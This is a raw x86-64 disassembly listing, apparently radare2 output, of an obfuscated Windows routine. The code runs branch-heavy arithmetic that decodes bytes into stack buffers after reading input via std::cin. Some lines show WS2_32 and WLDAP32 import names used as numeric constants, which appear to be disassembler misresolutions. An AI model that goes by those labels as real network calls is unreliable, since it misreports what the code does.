lea r11d, [r10 + rcx]
sub r11b, 0x5b
jmp 0x1400da351
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400dab98
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400dab78
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400dab5e
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400dab44
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400da8a7
nop
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400da88a
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400da862
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400da83d
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400da820
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400da7fe
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400da7e4
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400da7ca
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400da7ab
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400da780
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400da360
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0x28]
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400dad33
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400dad18
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400da54e
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400da534
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400da51a
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400da739
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400da6f3
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400da6b8
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400da693
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400da360
lea r8, [r9 + 0x7a]
lea r9, [r8 + 0x80]
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400da663
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400da649
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400da62a
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400da60f
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400da5f1
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400da5cf
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400da5ae
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400da58a
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400da568
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400da360
lea r8, [r9 + 0x200]
lea r9, [r8 + 0x20]
jmp 0x1400da360
lea ecx, [rbx - 0x6d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 5
jmp 0x1400da351
lea ecx, [rbx + 0x61]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x59
jmp 0x1400da2f4
lea ecx, [rbx + 0x2f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x49
jmp 0x1400da289
lea edx, [rbx + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx edx, bl
jmp 0x1400dabb0
lea ecx, [rbx + 0x36]
movzx eax, r10b
and al, cl
inc r9
add al, al
dec rbx
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x7a
inc rbx
jmp 0x1400da273
lea ecx, [rbx + 4]
movzx eax, r10b
and al, cl
dec rbx
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x1c
inc rbx
jmp 0x1400da273
lea edx, [rbx - 0x2e]
mov ecx, reloc.WLDAP32.dll_Ordinal_33
movzx eax, r10b
movzx edi, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400dac13
lea ecx, [rbx - 0x60]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x60
add r8, r9
jmp 0x1400dac50
lea ecx, [rbx + 0x6e]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 2
jmp 0x1400dac50
lea edx, [rbx + 0x3c]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400dac83
lea ecx, [rbx + 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x46
jmp 0x1400daca9
lea edx, [rbx - 0x28]
mov ecx, ntohl
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + rbx + 0x190]
add rax, r9
add rbx, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc rbx
jmp 0x1400da273
lea ecx, [rbx + 0x5b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7d
mov byte [rbp + rbx + 0x190], r11b
inc rbx
jmp 0x1400da273
lea ecx, [rbx + 0x29]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x1f
cmp r9, 2
jb 0x1400da6a8
movzx edx, bl
lea ecx, [rdx - 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea r11d, [rcx*2 - 0x74]
jmp 0x1400dabb0
lea ecx, [rbx - 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x3f
cmp r8, 0x41
jae 0x1400daafa
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x1400daa4c
lea ecx, [rbx + 2]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xe
jmp 0x1400da6cd
lea ecx, [rbx - 0x3b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x63
lea rax, [r9 + r8]
cmp rax, 3
je 0x1400dab23
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x1400da97b
lea ecx, [rbx - 0xb]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x4d
jmp 0x1400da708
lea ecx, [rbx + 0x4e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + rbx + 0x190]
add rax, r9
add rbx, rax
lea r11d, [r10 + rcx]
sub r11b, 0x22
inc rbx
jmp 0x1400da273
lea edx, [rbx + 0x1c]
mov ecx, reloc.WLDAP32.dll_Ordinal_30
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400daca9
lea ecx, [rbx - 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x66
jmp 0x1400dac83
lea ecx, [rbx - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 8
jmp 0x1400dac50
lea edx, [rbx - 0x7a]
mov ecx, Ordinal_45
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r8, r9
jmp 0x1400dac50
movzx edi, bl
lea ecx, [rdi + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4c
jmp 0x1400dac13
lea edx, [rbx + 0x22]
mov ecx, 9
movzx eax, dl
dec rbx
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc rbx
jmp 0x1400da273
lea edx, [rbx - 0x10]
mov ecx, Ordinal_60
movzx eax, dl
inc r9
and al, r10b
dec rbx
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc rbx
jmp 0x1400da273
movzx edx, bl
lea ecx, [rdx - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x32
jmp 0x1400dabb0
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x1400da8ca
lea ecx, [rbx + 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x51
jmp 0x1400da74e
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400da903
lea edx, [rbx + 0x1a]
mov ecx, Ordinal_41
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + rbx + 0x190]
add rax, r9
add rbx, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc rbx
jmp 0x1400da273
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400da926
lea ecx, [rbx + 0x7e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x72
jmp 0x1400dac83
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400da94c
lea ecx, [rbx - 0x1e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x2e
add r8, r9
jmp 0x1400dac50
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400da74e
mov ecx, Ordinal_60
movzx edi, bl
lea edx, [rdi + 0x14]
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400dac13
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400da9a1
movzx edx, bl
lea ecx, [rdx + 0x27]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x11
jmp 0x1400dabb0
inc rax
cmp r8, rax
jne 0x1400da9cc
lea ecx, [rbx + 0x59]
inc r9
movzx eax, cl
dec rbx
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x6f
inc rbx
jmp 0x1400da273
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400da9f2
movzx edi, bl
lea ecx, [rdi - 0x43]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x2b
jmp 0x1400dac13
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400daa15
lea ecx, [rbx - 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x5d
jmp 0x1400daca9
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400da708
lea ecx, [rbx - 0x49]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + rbx + 0x190]
add rax, r9
add rbx, rax
lea r11d, [r10 + rcx]
dec r11b
inc rbx
jmp 0x1400da273
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400daa80
lea ecx, [rbx + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + rbx + 0x190]
add rax, r9
add rbx, rax
lea r11d, [r10 + rcx]
sub r11b, 0x6c
inc rbx
jmp 0x1400da273
inc rax
cmp r8, rax
jne 0x1400daaa2
lea ecx, [rbx - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x28
jmp 0x1400dac83
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400daac8
movzx edi, bl
lea ecx, [rdi + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x42
jmp 0x1400dac13
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400da6cd
lea edx, [rbx + 0x60]
mov ecx, Ordinal_50
movzx eax, dl
dec rbx
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc rbx
jmp 0x1400da273
movzx r11d, byte [rbp + rbx + 0x190]
movzx edi, bl
lea edx, [rdi + 0x28]
movzx eax, dl
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x18
add r11b, dl
add r11b, r10b
jmp 0x1400dac13
lea ecx, [rbx + 0x5a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0x190]
lea r11d, [r10 + rcx]
sub r11b, 0x76
jmp 0x1400dac83
lea ecx, [rbx + 0x6b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x13
jmp 0x1400dac83
lea ecx, [rbx + 0x39]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x71
jmp 0x1400dac50
lea ecx, [rbx - 0x5d]
dec rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x75
inc rbx
jmp 0x1400da273
movzx edx, bl
lea ecx, [rdx + 0x3f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x47
movzx eax, r10b
add dl, 0xf
and al, dl
add al, al
sub r10b, al
sub r10b, 0x69
add r10b, dl
mov byte [rbp + rbx + 0x190], r10b
inc r9
dec rbx
inc rbx
jmp 0x1400da273
lea ecx, [rbx + 0x77]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x41
dec rbx
inc rbx
jmp 0x1400da273
movzx edi, bl
lea ecx, [rdi + 0x45]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x1d
add dil, 0x41
movzx eax, r10b
and al, dil
movzx ecx, r11b
add al, al
sub cl, al
add cl, 0x39
add cl, r10b
add cl, dil
mov byte [rbp + rbx + 0x190], cl
add r8, r9
jmp 0x1400dac50
lea rcx, [rbx + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r11d, [rcx + rdx]
sub r11b, 0x27
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400da273
movzx r10d, dl
lea rcx, [rbx + r12]
and dl, cl
movzx r11d, r10b
add dl, dl
sub r11b, dl
add r11b, 0x37
add r11b, cl
lea ecx, [rbx + 0x73]
inc r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x25
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x190], al
add rax, r9
sub rbx, rax
lea edx, [rbx - 0x74]
movzx eax, r10b
and al, dl
inc r8
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rbx + 0x190], cl
add rbx, rax
movzx eax, byte [rbp + rbx + 0x190]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400da273
lea rcx, [rbx + r15]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r11d, [rcx + rdx]
sub r11b, 0xd
movzx eax, byte [rbp + rbx + 0x190]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400da273
sub bl, 3
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 0x15
jmp 0x1400da270
sub bl, 0x35
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 0x73
jmp 0x1400da260
lea rcx, [rbp + 0x16a165c]
jmp 0x1400dad67
lea rcx, [rbp + 0x1281975]
jmp 0x1400dad67
lea rcx, [rbp + 0x190]
call fcn.1400432b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
movzx r8d, byte [rbp + 0x260]
xor eax, eax
xorps xmm0, xmm0
mov dword [rbp + 0x11], eax
movups xmmword [rbp + 1], xmm0
mov byte [rbp + 0x15], al
movabs rsi, 0xa200a64081539f65
mov dword [rbp - 0x10], 0x5f5f4d53
movabs r15, 0x6e048bc389495bc3
mov dword [rbp - 0xc], 0x5d51584e
movabs r14, 0xe601f2c183fade2f
mov dword [rbp - 8], 0x935a9c8e
mov dword [rbp - 4], 0x87904583
mov byte [rbp], 0xb6
nop
mov rax, qword [0x1402e62b8]
mov r9, qword [0x1402e62c0]
nop
mov r11, r13
cmp r11, 0x26
jae 0x1400db941
movzx r10d, byte [rbp + r11 - 0x10]
mov rbx, r10
cmp rax, r11
ja 0x1400db938
lea rdx, [r9 + 1]
cmp rax, rdx
jae 0x1400dae20
lea r8, [r11 + rsi]
movzx ecx, r8b
and cl, bl
add cl, cl
sub r8b, cl
add r8b, 0x3d
add r8b, bl
jmp 0x1400dae60
je 0x1400db8cc
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1400db851
lea rcx, [rdx + 1]
cmp rax, rcx
je 0x1400db81f
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x1400db7fe
lea rcx, [r9 + 9]
cmp rax, rcx
je 0x1400db7bf
nop word [rax + rax]
cmp r9, r11
ja 0x1400db92f
lea rcx, [r9 + 0x42]
cmp rax, rcx
jae 0x1400dae89
lea edx, [r11 + 0x49]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
inc r8b
jmp 0x1400daec0
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x1400db7a4
inc rcx
cmp rax, rcx
je 0x1400db783
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1400db768
lea rcx, [r9 + 7]
cmp rax, rcx
je 0x1400db74d
nop dword [rax]
lea rcx, [rax + r9]
cmp rcx, r11
jbe 0x1400db419
nop dword [rax]
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x1400db3f6
lea rcx, [r9 + 0x1000]
cmp rax, rcx
je 0x1400db3d2
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x1400db3ad
lea rcx, [r9 + 0xa]
cmp rax, rcx
je 0x1400db38f
lea rcx, [r9 + 0x2a]
cmp rax, rcx
je 0x1400db370
lea rcx, [r9 + 8]
cmp rax, rcx
je 0x1400db355
lea rcx, [r9 + 0x42]
cmp rax, rcx
je 0x1400db336
lea rcx, [r9 + 0x61]
cmp rax, rcx
je 0x1400db31b
lea rcx, [r9 + 0x28]
cmp rax, rcx
je 0x1400db2ed
lea rcx, [r9 + 0x400]
cmp rax, rcx
je 0x1400daed0
lea rax, [r9 + 2]
lea r9, [rax + 1]
lea rcx, [r9 + 0xa]
cmp rax, rcx
jb 0x1400db912
lea rcx, [r9 + 0x80]
cmp rax, rcx
jb 0x1400db8f5
lea rcx, [r9 + 0x41]
cmp rax, rcx
jb 0x1400db0b4
lea rcx, [r9 + 0x42]
cmp rax, rcx
jb 0x1400db099
lea rcx, [r9 + 0x61]
cmp rax, rcx
jb 0x1400db07e
lea rcx, [r9 + 3]
cmp rax, rcx
jb 0x1400db2a4
lea rcx, [r9 + 0x10]
cmp rax, rcx
jb 0x1400db25f
lea rcx, [r9 + 1]
cmp rax, rcx
jb 0x1400db21f
lea rcx, [r9 + 9]
cmp rax, rcx
jb 0x1400db1fc
lea rcx, [r9 + 0x64]
cmp rax, rcx
jb 0x1400daed0
lea rax, [r9 + 0x41]
lea r9, [rax + 0x7a]
lea rcx, [r9 + 5]
cmp rax, rcx
ja 0x1400db1ce
lea rcx, [r9 + 0x28]
cmp rax, rcx
ja 0x1400db1b3
lea rcx, [r9 + 3]
cmp rax, rcx
ja 0x1400db194
lea rcx, [r9 + 0x10]
cmp rax, rcx
ja 0x1400db179
lea rcx, [r9 + 0x200]
cmp rax, rcx
ja 0x1400db15a
lea rcx, [r9 + 0x5a]
cmp rax, rcx
ja 0x1400db13b
lea rcx, [r9 + 0x64]
cmp rax, rcx
ja 0x1400db116
lea rcx, [r9 + 0x7a]
cmp rax, rcx
ja 0x1400db0f2
lea rcx, [r9 + 4]
cmp rax, rcx
ja 0x1400db0cf
lea rcx, [r9 + 0x20]
cmp rax, rcx
ja 0x1400daed0
lea rax, [r9 + 0x400]
lea r9, [rax + 2]
jmp 0x1400daed0
lea edx, [r11 - 0x29]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
add r8b, 0x1f
jmp 0x1400daec0
lea edx, [r11 + 0xd]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x5b
jmp 0x1400dae60
lea edx, [r11 + 0x43]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
add r8b, 0x2b
jmp 0x1400dadf3
lea r8d, [r11 + 0x48]
mov edx, 4
movzx ecx, r8b
movzx ebx, r11b
and cl, r10b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
jmp 0x1400db7d8
lea edx, [r11 + 0x7e]
inc r9
movzx ecx, dl
dec r11
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x72
inc r11
jmp 0x1400dade3
lea r8d, [r11 - 0x4c]
mov edx, 0xa
movzx ecx, r8b
dec r11
and cl, r10b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
inc r11
jmp 0x1400dade3
lea edx, [r11 - 0x16]
movzx ebx, r11b
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x66
jmp 0x1400db711
lea r8d, [r11 + 0x20]
mov edx, reloc.WS2_32.dll_recv
movzx ecx, r8b
and cl, r10b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
jmp 0x1400db835
lea edx, [r11 + 0x56]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x5a
jmp 0x1400db838
lea r8d, [r11 - 0x74]
mov edx, reloc.WLDAP32.dll_Ordinal_22
movzx ecx, r8b
and cl, r10b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
jmp 0x1400db86a
lea edx, [r11 - 0x3e]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x4e
jmp 0x1400db88f
lea r8d, [r11 - 8]
mov edx, Ordinal_32
movzx ecx, r8b
and cl, r10b
sub dl, cl
movzx ecx, byte [rbp + r11 - 0x10]
add dl, dl
add rcx, r9
add r8b, dl
add r11, rcx
add r8b, r10b
inc r11
jmp 0x1400dade3
lea edx, [r11 - 1]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
add r8b, 7
mov byte [rbp + r11 - 0x10], r8b
inc r11
jmp 0x1400dade3
lea edx, [r11 + 0x35]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x73
cmp r9, 0x200
jb 0x1400db212
movzx ebx, r11b
lea edx, [rbx + 0x3e]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
add dl, r10b
lea r8d, [rdx*2 - 0x64]
jmp 0x1400db7d8
lea edx, [r11 + 0x6b]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
add r8b, 0x13
cmp rax, 0x61
jae 0x1400db6ee
lea rdx, [r9 + 4]
cmp rax, rdx
jbe 0x1400db5ec
lea edx, [r11 + 0x5a]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x76
jmp 0x1400db235
lea edx, [r11 - 0x5f]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x67
lea rcx, [rax + r9]
cmp rcx, 0x2a
je 0x1400db731
lea rcx, [r9 + 0x5a]
cmp rax, rcx
jbe 0x1400db51d
lea edx, [r11 + 0x11]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x77
jmp 0x1400db275
lea r8d, [r11 - 0x4a]
mov edx, 3
movzx ecx, r8b
and cl, r10b
sub dl, cl
movzx ecx, byte [rbp + r11 - 0x10]
add dl, dl
add rcx, r9
add r8b, dl
add r11, rcx
add r8b, r10b
inc r11
jmp 0x1400dade3
lea edx, [r11 - 0x14]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x74
jmp 0x1400db88f
lea r8d, [r11 + 0x22]
mov edx, 9
movzx ecx, r8b
and cl, r10b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
jmp 0x1400db86a
lea edx, [r11 + 0x58]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x68
jmp 0x1400db838
lea r8d, [r11 - 0x72]
mov edx, reloc.WS2_32.dll_ntohs
movzx ecx, r8b
and cl, r10b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
jmp 0x1400db835
movzx ebx, r11b
lea edx, [rbx - 0x3c]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x5c
jmp 0x1400db711
lea r8d, [r11 - 6]
mov edx, reloc.WS2_32.dll_setsockopt
movzx ecx, r8b
dec r11
and cl, r10b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
inc r11
jmp 0x1400dade3
lea edx, [r11 + 0x30]
inc r9
movzx ecx, dl
dec r11
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x50
inc r11
jmp 0x1400dade3
movzx ebx, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_27
lea r8d, [rbx + 0x66]
movzx ecx, r8b
and cl, r10b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
jmp 0x1400db7d8
lea rcx, [r9 + 0x20]
cmp rax, rcx
jae 0x1400db43d
lea edx, [r11 + 0x65]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
add r8b, 0x3d
jmp 0x1400db2ba
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400db474
lea r8d, [r11 - 0x6e]
mov edx, 1
movzx ecx, r8b
and cl, r10b
sub dl, cl
movzx ecx, byte [rbp + r11 - 0x10]
add dl, dl
add rcx, r9
add r8b, dl
add r11, rcx
add r8b, r10b
inc r11
jmp 0x1400dade3
inc rcx
cmp rax, rcx
jne 0x1400db49b
lea r8d, [r11 + 0x5c]
mov edx, 0x3e
movzx ecx, r8b
and cl, r10b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
jmp 0x1400db88f
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1400db4c1
movzx ebx, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_50
lea r8d, [rbx - 0x7c]
movzx ecx, r8b
and cl, r10b
sub dl, cl
add dl, dl
jmp 0x1400db70b
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400db4f2
lea r8d, [r11 + 0x18]
mov edx, Ordinal_45
movzx ecx, r8b
inc r9
and cl, r10b
dec r11
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
inc r11
jmp 0x1400dade3
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x1400db2ba
movzx ebx, r11b
lea edx, [rbx - 0x1e]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x2e
jmp 0x1400db7d8
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400db544
movzx ebx, r11b
lea edx, [rbx - 0x25]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
add r8b, 3
jmp 0x1400db7d8
inc rcx
cmp rax, rcx
jne 0x1400db56d
lea edx, [r11 + 0x6f]
dec r11
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 9
inc r11
jmp 0x1400dade3
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400db591
lea edx, [r11 + 3]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x15
jmp 0x1400db835
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1400db5b5
lea edx, [r11 - 0x33]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
add r8b, 0x65
jmp 0x1400db838
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1400db275
lea edx, [r11 + 0x2b]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
movzx ecx, byte [rbp + r11 - 0x10]
add rcx, r9
add r11, rcx
lea r8d, [r10 + rdx]
sub r8b, 0x2d
inc r11
jmp 0x1400dade3
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400db623
lea r8d, [r11 + 0x24]
mov edx, 2
movzx ecx, r8b
and cl, r10b
sub dl, cl
movzx ecx, byte [rbp + r11 - 0x10]
add dl, dl
add rcx, r9
add r8b, dl
add r11, rcx
add r8b, r10b
inc r11
jmp 0x1400dade3
inc rcx
cmp rax, rcx
jne 0x1400db646
lea edx, [r11 - 0x48]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 8
jmp 0x1400db86a
lea rcx, [r9 + 6]
cmp rax, rcx
